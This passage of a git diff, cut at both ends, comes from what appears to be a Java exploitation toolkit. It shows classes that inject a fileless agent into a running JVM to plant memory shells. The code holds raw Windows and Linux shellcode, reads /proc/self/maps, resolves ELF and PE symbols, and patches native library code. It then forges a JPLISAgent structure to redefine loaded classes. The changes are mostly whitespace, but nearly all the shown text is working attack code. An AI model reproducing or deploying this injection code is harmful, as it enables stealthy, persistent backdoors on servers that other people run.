0xDA, (byte) 0x48, (byte) 0x89, (byte) 0xD7, (byte) 0xB9, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x48, (byte) 0x89, (byte) 0xD9, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x10, (byte) 0x48, (byte) 0x89, (byte) 0xC6, (byte) 0xB9, (byte) 0x6C, (byte) 0x6C, (byte) 0x00, (byte) 0x00, (byte) 0x51, (byte) 0xB9, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE1, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0xFF, (byte) 0xD6, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x10, (byte) 0x49, (byte) 0x89, (byte) 0xC7, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x48, (byte) 0xB9, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x73, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x4C, (byte) 0x89, (byte) 0xF9, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x18, (byte) 0x49, (byte) 0x89, (byte) 0xC7, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x48, (byte) 0x89, (byte) 0xE1, (byte) 0xBA, (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x89, (byte) 0xC8, (byte) 0x49, (byte) 0x83, (byte) 0xC0, (byte) 0x08, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x28, (byte) 0x48, (byte) 0x8B, (byte) 0x09, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x54, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x4D, (byte) 0x31, (byte) 0xC0, (byte) 0x4C, (byte) 0x8B, (byte) 0x39, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x20, (byte) 0x49, (byte) 0x89, (byte) 0xCE, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x4C, (byte) 0x89, (byte) 0xF1, (byte) 0x48, (byte) 0xBA, (byte) 0x48, (byte) 0x47, (byte) 0x46, (byte) 0x45, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x41, (byte) 0xB8, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x4D, (byte) 0x8B, (byte) 0x3E, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x20, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x20, (byte) 0x4C, (byte) 0x89, (byte) 0xF1, (byte) 0x4D, (byte) 0x8B, (byte) 0x3E, (byte) 0x4D, (byte) 0x8B, (byte) 0x7F, (byte) 0x28, (byte) 0x41, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x78, (byte) 0xC3}; byte[] stub = new byte[]{0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41}; if (pointerLength == 4) { buf = new byte[]{(byte) 0x90, (byte) 0x90, (byte) 0x90, (byte) 0x33, (byte) 0xC9, (byte) 0x64, (byte) 0xA1, (byte) 0x30, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x8B, (byte) 0x40, (byte) 0x0C, (byte) 0x8B, (byte) 0x70, (byte) 0x14, (byte) 0xAD, (byte) 0x96, (byte) 0xAD, (byte) 0x8B, (byte) 0x58, (byte) 0x10, (byte) 0x8B, (byte) 0x53, (byte) 0x3C, (byte) 0x03, (byte) 0xD3, (byte) 0x8B, (byte) 0x52, (byte) 0x78, (byte) 0x03, (byte) 0xD3, (byte) 0x33, (byte) 0xC9, (byte) 0x8B, (byte) 0x72, (byte) 0x20, (byte) 0x03, (byte) 0xF3, (byte) 0x41, (byte) 0xAD, (byte) 0x03, (byte) 0xC3, (byte) 0x81, (byte) 0x38, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x75, (byte) 0xF4, (byte) 0x81, (byte) 0x78, (byte) 0x04, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x75, (byte) 0xEB, (byte) 0x81, (byte) 0x78, (byte) 0x08, (byte) 0x64, (byte) 0x64, (byte) 0x72, (byte) 0x65, (byte) 0x75, (byte) 0xE2, (byte) 0x8B, (byte) 0x72, (byte) 0x24, (byte) 0x03, (byte) 0xF3, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x49, (byte) 0x8B, (byte) 0x72, (byte) 0x1C, (byte) 0x03, (byte) 0xF3, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x03, (byte) 0xD3, (byte) 0x52, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x68, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x68, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x68, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x59, (byte) 0x50, (byte) 0x66, (byte) 0xB9, (byte) 0x33, (byte) 0x32, (byte) 0x51, (byte) 0x68, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x54, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xD8, (byte) 0x83, (byte) 0xC4, (byte) 0x0C, (byte) 0x5A, (byte) 0x33, (byte) 0xC9, (byte) 0x51, (byte) 0x6A, (byte) 0x73, (byte) 0x68, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x68, (byte) 0x65, (byte) 0x64, (byte) 0x4A, (byte) 0x61, (byte) 0x68, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 0x74, (byte) 0x68, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x43, (byte) 0x68, (byte) 0x4A, (byte) 0x4E, (byte) 0x49, (byte) 0x5F, (byte) 0x54, (byte) 0x53, (byte) 0xFF, (byte) 0xD2, (byte) 0x89, (byte) 0x45, (byte) 0xF0, (byte) 0x54, (byte) 0x6A, (byte) 0x01, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x54, (byte) 0x59, (byte) 0x6A, (byte) 0x01, (byte) 0x51, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0xC1, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0x6A, (byte) 0x00, (byte) 0x54, (byte) 0x59, (byte) 0x83, (byte) 0xC1, (byte) 0x10, (byte) 0x51, (byte) 0x8B, (byte) 0x00, (byte) 0x50, (byte) 0x8B, (byte) 0x18, (byte) 0x8B, (byte) 0x43, (byte) 0x10, (byte) 0xFF, (byte) 0xD0, (byte) 0x8B, (byte) 0x43, (byte) 0x18, (byte) 0x68, (byte) 0x00, (byte) 0x02, (byte) 0x01, (byte) 0x30, (byte) 0x68, (byte) 0x44, (byte) 0x43, (byte) 0x42, (byte) 0x41, (byte) 0x83, (byte) 0xEC, (byte) 0x04, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xEC, (byte) 0x0C, (byte) 0x8B, (byte) 0x43, (byte) 0x14, (byte) 0xFF, (byte) 0xD0, (byte) 0x83, (byte) 0xC4, (byte) 0x5C, (byte) 0xC3}; @@ -81,16 +81,16 @@ public class AgentNoFileForWindows { buf = replaceBytes(buf, stub, long2ByteArray_Little_Endian(JPLISAgent + pointerLength, pointerLength)); classBody[7] = 0x32; - Class windowsVirtualMachine; + Class windowsVirtualMachine; System.loadLibrary("attach"); try { windowsVirtualMachine = Class.forName("sun.tools.attach.WindowsVirtualMachine"); } catch (ClassNotFoundException e) { - byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 51, 0, 21, 10, 0, 3, 0, 17, 7, 0, 18, 7, 0, 19, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 40, 76, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 97, 116, 116, 97, 99, 104, 47, 87, 105, 110, 100, 111, 119, 115, 86, 105, 114, 116, 117, 97, 108, 77, 97, 99, 104, 105, 110, 101, 59, 1, 0, 7, 101, 110, 113, 117, 101, 117, 101, 1, 0, 61, 40, 74, 91, 66, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 10, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 7, 0, 20, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 26, 87, 105, 110, 100, 111, 119, 115, 86, 105, 114, 116, 117, 97, 108, 77, 97, 99, 104, 105, 110, 101, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 38, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 97, 116, 116, 97, 99, 104, 47, 87, 105, 110, 100, 111, 119, 115, 86, 105, 114, 116, 117, 97, 108, 77, 97, 99, 104, 105, 110, 101, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 79, 69, 120, 99, 101, 112, 116, 105, 111, 110, 0, 33, 0, 2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 51, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 7, 0, 0, 0, 10, 0, 2, 0, 0, 0, 7, 0, 4, 0, 8, 0, 8, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 9, 0, 10, 0, 0, 1, -120, 0, 11, 0, 12, 0, 1, 0, 13, 0, 0, 0, 4, 0, 1, 0, 14, 0, 1, 0, 15, 0, 0, 0, 2, 0, 16}; + byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 51, 0, 21, 10, 0, 3, 0, 17, 7, 0, 18, 7, 0, 19, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 15, 76, 105, 110, 101, 78, 117, 109, 98, 101, 114, 84, 97, 98, 108, 101, 1, 0, 18, 76, 111, 99, 97, 108, 86, 97, 114, 105, 97, 98, 108, 101, 84, 97, 98, 108, 101, 1, 0, 4, 116, 104, 105, 115, 1, 0, 40, 76, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 97, 116, 116, 97, 99, 104, 47, 87, 105, 110, 100, 111, 119, 115, 86, 105, 114, 116, 117, 97, 108, 77, 97, 99, 104, 105, 110, 101, 59, 1, 0, 7, 101, 110, 113, 117, 101, 117, 101, 1, 0, 61, 40, 74, 91, 66, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 10, 69, 120, 99, 101, 112, 116, 105, 111, 110, 115, 7, 0, 20, 1, 0, 10, 83, 111, 117, 114, 99, 101, 70, 105, 108, 101, 1, 0, 26, 87, 105, 110, 100, 111, 119, 115, 86, 105, 114, 116, 117, 97, 108, 77, 97, 99, 104, 105, 110, 101, 46, 106, 97, 118, 97, 12, 0, 4, 0, 5, 1, 0, 38, 115, 117, 110, 47, 116, 111, 111, 108, 115, 47, 97, 116, 116, 97, 99, 104, 47, 87, 105, 110, 100, 111, 119, 115, 86, 105, 114, 116, 117, 97, 108, 77, 97, 99, 104, 105, 110, 101, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 79, 69, 120, 99, 101, 112, 116, 105, 111, 110, 0, 33, 0, 2, 0, 3, 0, 0, 0, 0, 0, 2, 0, 1, 0, 4, 0, 5, 0, 1, 0, 6, 0, 0, 0, 51, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 2, 0, 7, 0, 0, 0, 10, 0, 2, 0, 0, 0, 7, 0, 4, 0, 8, 0, 8, 0, 0, 0, 12, 0, 1, 0, 0, 0, 5, 0, 9, 0, 10, 0, 0, 1, -120, 0, 11, 0, 12, 0, 1, 0, 13, 0, 0, 0, 4, 0, 1, 0, 14, 0, 1, 0, 15, 0, 0, 0, 2, 0, 16}; ClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); - Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - windowsVirtualMachine = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); + windowsVirtualMachine = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); } Method method = windowsVirtualMachine.getDeclaredMethod("enqueue", long.class, byte[].class, String.class, String.class, Object[].class); @@ -136,13 +136,13 @@ public class AgentNoFileForWindows { public static void redefineClasses(String className, byte[] classBody, long JPLISAgent) { try { - Class instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl"); - Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class); + Class instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl"); + Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class); constructor.setAccessible(true); Object inst = constructor.newInstance(JPLISAgent, true, false); - ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody); - Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class); + ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody); + Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class); redefineClazz.invoke(inst, new Object[]{new ClassDefinition[]{definition}}); } catch (Throwable error) { error.printStackTrace(); diff --git a/src/main/java/com/qi4l/JYso/template/Agent/LinMenshell.java b/src/main/java/com/qi4l/JYso/template/Agent/LinMenshell.java index 0b58cf8..3e89b3a 100644 --- a/src/main/java/com/qi4l/JYso/template/Agent/LinMenshell.java +++ b/src/main/java/com/qi4l/JYso/template/Agent/LinMenshell.java @@ -16,35 +16,36 @@ import java.nio.ByteOrder; public class LinMenshell { - private static final int SHT_DYNSYM = 11; - private static final int STT_FUNC = 2; + private static final int SHT_DYNSYM = 11; + private static final int STT_FUNC = 2; private static final int STT_GNU_IFUNC = 10; public static String className; public static byte[] classBody; + private LinMenshell() throws Exception { - Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine"); + Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine"); Field field1 = cls.getDeclaredField("ALLOW_ATTACH_SELF"); field1.setAccessible(true); Field modifiersField = Field.class.getDeclaredField("modifiers"); modifiersField.setInt(field1, field1.getModifiers() & ~Modifier.FINAL); field1.setBoolean(null, true); - FileReader fin = new FileReader("/proc/self/maps"); - BufferedReader reader = new BufferedReader(fin); - String line; - long RandomAccessFile_length = 0, JNI_GetCreatedJavaVMs = 0; + FileReader fin = new FileReader("/proc/self/maps"); + BufferedReader reader = new BufferedReader(fin); + String line; + long RandomAccessFile_length = 0, JNI_GetCreatedJavaVMs = 0; while ((line = reader.readLine()) != null) { String[] splits = line.trim().split(" "); if (line.endsWith("libjava.so") && RandomAccessFile_length == 0) { String[] addr_range = splits[0].split("-"); - long libbase = Long.parseLong(addr_range[0], 16); - String elfpath = splits[splits.length - 1]; + long libbase = Long.parseLong(addr_range[0], 16); + String elfpath = splits[splits.length - 1]; RandomAccessFile_length = find_symbol(elfpath, "Java_java_io_RandomAccessFile_length", libbase); } else if (line.endsWith("libjvm.so") && JNI_GetCreatedJavaVMs == 0) { String[] addr_range = splits[0].split("-"); - long libbase = Long.parseLong(addr_range[0], 16); - String elfpath = splits[splits.length - 1]; + long libbase = Long.parseLong(addr_range[0], 16); + String elfpath = splits[splits.length - 1]; JNI_GetCreatedJavaVMs = find_symbol(elfpath, "JNI_GetCreatedJavaVMs", libbase); } @@ -58,8 +59,8 @@ public class LinMenshell { //RSP 16字节对齐 byte[] stack_align = {0x55, 0x48, (byte) 0x89, (byte) 0xe5, 0x48, (byte) 0xc7, (byte) 0xc0, 0xf, 0, 0, 0, 0x48, (byte) 0xf7, (byte) 0xd0}; - byte[] movabs_rax = {0x48, (byte) 0xb8}; - ByteBuffer buffer = ByteBuffer.allocate(Long.BYTES); + byte[] movabs_rax = {0x48, (byte) 0xb8}; + ByteBuffer buffer = ByteBuffer.allocate(Long.BYTES); buffer.order(ByteOrder.LITTLE_ENDIAN); buffer.putLong(0, JNI_GetCreatedJavaVMs); @@ -68,8 +69,8 @@ public class LinMenshell { (byte) 0xBA, 0x00, 0x02, 0x01, 0x30, 0x48, (byte) 0x8B, 0x07, (byte) 0xFF, 0x50, 0x30, 0x48, (byte) 0x8B, 0x44, 0x24, 0x10, 0x48, (byte) 0x83, (byte) 0xC4, 0x40, (byte) 0xC9, (byte) 0xC3}; - int shellcode_len = b.length + 8 + movabs_rax.length + stack_align.length; - long landingpad = RandomAccessFile_length; + int shellcode_len = b.length + 8 + movabs_rax.length + stack_align.length; + long landingpad = RandomAccessFile_length; byte[] backup = new byte[shellcode_len]; fout.seek(landingpad); @@ -108,14 +109,14 @@ public class LinMenshell { unsafe.putLong(JPLISAgent + 8, native_jvmtienv); //利用伪造的JPLISAgent结构实例化InstrumentationImpl try { - Class instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl"); - Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class); + Class instrument_clazz = Class.forName("sun.instrument.InstrumentationImpl"); + Constructor constructor = instrument_clazz.getDeclaredConstructor(long.class, boolean.class, boolean.class); constructor.setAccessible(true); Object inst = constructor.newInstance(JPLISAgent, true, false); - ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody); - Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class); + ClassDefinition definition = new ClassDefinition(Class.forName(className), classBody); + Method redefineClazz = instrument_clazz.getMethod("redefineClasses", ClassDefinition[].class); redefineClazz.invoke(inst, new Object[]{ new ClassDefinition[]{ definition @@ -133,35 +134,35 @@ public class LinMenshell { } static long find_symbol(String elfpath, String sym, long libbase) throws IOException { - long func_ptr = 0; - RandomAccessFile fin = new RandomAccessFile(elfpath, "r"); + long func_ptr = 0; + RandomAccessFile fin = new RandomAccessFile(elfpath, "r"); byte[] e_ident = new byte[16]; fin.read(e_ident); - short e_type = Short.reverseBytes(fin.readShort()); - short e_machine = Short.reverseBytes(fin.readShort()); - int e_version = Integer.reverseBytes(fin.readInt()); - long e_entry = Long.reverseBytes(fin.readLong()); - long e_phoff = Long.reverseBytes(fin.readLong()); - long e_shoff = Long.reverseBytes(fin.readLong()); - int e_flags = Integer.reverseBytes(fin.readInt()); - short e_ehsize = Short.reverseBytes(fin.readShort()); + short e_type = Short.reverseBytes(fin.readShort()); + short e_machine = Short.reverseBytes(fin.readShort()); + int e_version = Integer.reverseBytes(fin.readInt()); + long e_entry = Long.reverseBytes(fin.readLong()); + long e_phoff = Long.reverseBytes(fin.readLong()); + long e_shoff = Long.reverseBytes(fin.readLong()); + int e_flags = Integer.reverseBytes(fin.readInt()); + short e_ehsize = Short.reverseBytes(fin.readShort()); short e_phentsize = Short.reverseBytes(fin.readShort()); - short e_phnum = Short.reverseBytes(fin.readShort()); + short e_phnum = Short.reverseBytes(fin.readShort()); short e_shentsize = Short.reverseBytes(fin.readShort()); - short e_shnum = Short.reverseBytes(fin.readShort()); - short e_shstrndx = Short.reverseBytes(fin.readShort()); + short e_shnum = Short.reverseBytes(fin.readShort()); + short e_shstrndx = Short.reverseBytes(fin.readShort()); - int sh_name = 0; - int sh_type = 0; - long sh_flags = 0; - long sh_addr = 0; - long sh_offset = 0; - long sh_size = 0; - int sh_link = 0; - int sh_info = 0; + int sh_name = 0; + int sh_type = 0; + long sh_flags = 0; + long sh_addr = 0; + long sh_offset = 0; + long sh_size = 0; + int sh_link = 0; + int sh_info = 0; long sh_addralign = 0; - long sh_entsize = 0; + long sh_entsize = 0; for (int i = 0; i < e_shnum; ++i) { fin.seek(e_shoff + i * 64); @@ -180,10 +181,10 @@ public class LinMenshell { } } - int symtab_shdr_sh_link = sh_link; - long symtab_shdr_sh_size = sh_size; + int symtab_shdr_sh_link = sh_link; + long symtab_shdr_sh_size = sh_size; long symtab_shdr_sh_entsize = sh_entsize; - long symtab_shdr_sh_offset = sh_offset; + long symtab_shdr_sh_offset = sh_offset; fin.seek(e_shoff + symtab_shdr_sh_link * e_shentsize); sh_name = Integer.reverseBytes(fin.readInt()); @@ -202,12 +203,12 @@ public class LinMenshell { long cnt = symtab_shdr_sh_entsize > 0 ? symtab_shdr_sh_size / symtab_shdr_sh_entsize : 0; for (long i = 0; i < cnt; ++i) { fin.seek(symtab_shdr_sh_offset + symtab_shdr_sh_entsize * i); - int st_name = Integer.reverseBytes(fin.readInt()); - byte st_info = fin.readByte(); - byte st_other = fin.readByte(); + int st_name = Integer.reverseBytes(fin.readInt()); + byte st_info = fin.readByte(); + byte st_other = fin.readByte(); short st_shndx = Short.reverseBytes(fin.readShort()); - long st_value = Long.reverseBytes(fin.readLong()); - long st_size = Long.reverseBytes(fin.readLong()); + long st_value = Long.reverseBytes(fin.readLong()); + long st_size = Long.reverseBytes(fin.readLong()); if (st_value == 0 || st_name == 0 || (ELF_ST_TYPE(st_info) != STT_FUNC && ELF_ST_TYPE(st_info) != STT_GNU_IFUNC)) { @@ -216,7 +217,7 @@ public class LinMenshell { fin.seek(symstr_shdr_sh_offset + st_name); String name = ""; - byte ch = 0; + byte ch = 0; while ((ch = fin.readByte()) != 0) { name += (char) ch; } diff --git a/src/main/java/com/qi4l/JYso/template/Agent/WinMenshell.java b/src/main/java/com/qi4l/JYso/template/Agent/WinMenshell.java index 1626eb7..7c64f2c 100644 --- a/src/main/java/com/qi4l/JYso/template/Agent/WinMenshell.java +++ b/src/main/java/com/qi4l/JYso/template/Agent/WinMenshell.java @@ -10,13 +10,13 @@ import java.lang.reflect.Method; import java.lang.reflect.Modifier; public class WinMenshell { - public static int pointerLength = 8; + public static int pointerLength = 8; public static String className; public static byte[] classBody; public WinMenshell() throws Exception { - Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine"); + Class cls = Class.forName("sun.tools.attach.HotSpotVirtualMachine"); Field field1 = cls.getDeclaredField("ALLOW_ATTACH_SELF"); field1.setAccessible(true); Field modifiersField = Field.class.getDeclaredField("modifiers"); @@ -34,7 +34,7 @@ public class WinMenshell { //伪造JPLISAgent结构时,只需要填mNormalEnvironment中的mJVMTIEnv即可,其他变量代码中实际没有使用 long JPLISAgent = unsafe.allocateMemory(0x1000); - byte[] buf = new byte[]{(byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x28, (byte) 0x48, (byte) 0x83, (byte) 0xE4, (byte) 0xF0, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x65, (byte) 0x48, (byte) 0x8B, (byte) 0x41, (byte) 0x60, (byte) 0x48, (byte) 0x8B, (byte) 0x40, (byte) 0x18, (byte) 0x48, (byte) 0x8B, (byte) 0x70, (byte) 0x20, (byte) 0x48, (byte) 0xAD, (byte) 0x48, (byte) 0x96, (byte) 0x48, (byte) 0xAD, (byte) 0x48, (byte) 0x8B, (byte) 0x58, (byte) 0x20, (byte) 0x4D, (byte) 0x31, (byte) 0xC0, (byte) 0x44, (byte) 0x8B, (byte) 0x43, (byte) 0x3C, (byte) 0x4C, (byte) 0x89, (byte) 0xC2, (byte) 0x48, (byte) 0x01, (byte) 0xDA, (byte) 0x44, (byte) 0x8B, (byte) 0x82, (byte) 0x88, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x01, (byte) 0xD8, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x20, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x49, (byte) 0xB9, (byte) 0x47, (byte) 0x65, (byte) 0x74, (byte) 0x50, (byte) 0x72, (byte) 0x6F, (byte) 0x63, (byte) 0x41, (byte) 0x48, (byte) 0xFF, (byte) 0xC1, (byte) 0x48, (byte) 0x31, (byte) 0xC0, (byte) 0x8B, (byte) 0x04, (byte) 0x8E, (byte) 0x48, (byte) 0x01, (byte) 0xD8, (byte) 0x4C, (byte) 0x39, (byte) 0x08, (byte) 0x75, (byte) 0xEF, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x24, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x66, (byte) 0x8B, (byte) 0x0C, (byte) 0x4E, (byte) 0x48, (byte) 0x31, (byte) 0xF6, (byte) 0x41, (byte) 0x8B, (byte) 0x70, (byte) 0x1C, (byte) 0x48, (byte) 0x01, (byte) 0xDE, (byte) 0x48, (byte) 0x31, (byte) 0xD2, (byte) 0x8B, (byte) 0x14, (byte) 0x8E, (byte) 0x48, (byte) 0x01, (byte) 0xDA, (byte) 0x48, (byte) 0x89, (byte) 0xD7, (byte) 0xB9, (byte) 0x61, (byte) 0x72, (byte) 0x79, (byte) 0x41, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x4C, (byte) 0x6F, (byte) 0x61, (byte) 0x64, (byte) 0x4C, (byte) 0x69, (byte) 0x62, (byte) 0x72, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE2, (byte) 0x48, (byte) 0x89, (byte) 0xD9, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0xFF, (byte) 0xD7, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x10, (byte) 0x48, (byte) 0x89, (byte) 0xC6, (byte) 0xB9, (byte) 0x6C, (byte) 0x6C, (byte) 0x00, (byte) 0x00, (byte) 0x51, (byte) 0xB9, (byte) 0x6A, (byte) 0x76, (byte) 0x6D, (byte) 0x00, (byte) 0x51, (byte) 0x48, (byte) 0x89, (byte) 0xE1, (byte) 0x48, (byte) 0x83, (byte) 0xEC, (byte) 0x30, (byte) 0xFF, (byte) 0xD6, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x30, (byte) 0x48, (byte) 0x83, (byte) 0xC4, (byte) 0x10, (byte) 0x49, (byte) 0x89, (byte) 0xC7, (byte) 0x48, (byte) 0x31, (byte) 0xC9, (byte) 0x48, (byte) 0xB9, (byte) 0x76, (byte) 0x61, (byte) 0x56, (byte) 0x4D, (byte) 0x73, (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x51, (byte) 0x48, (byte) 0xB9, (byte) 0x72, (byte) 0x65, (byte) 0x61, (byte) 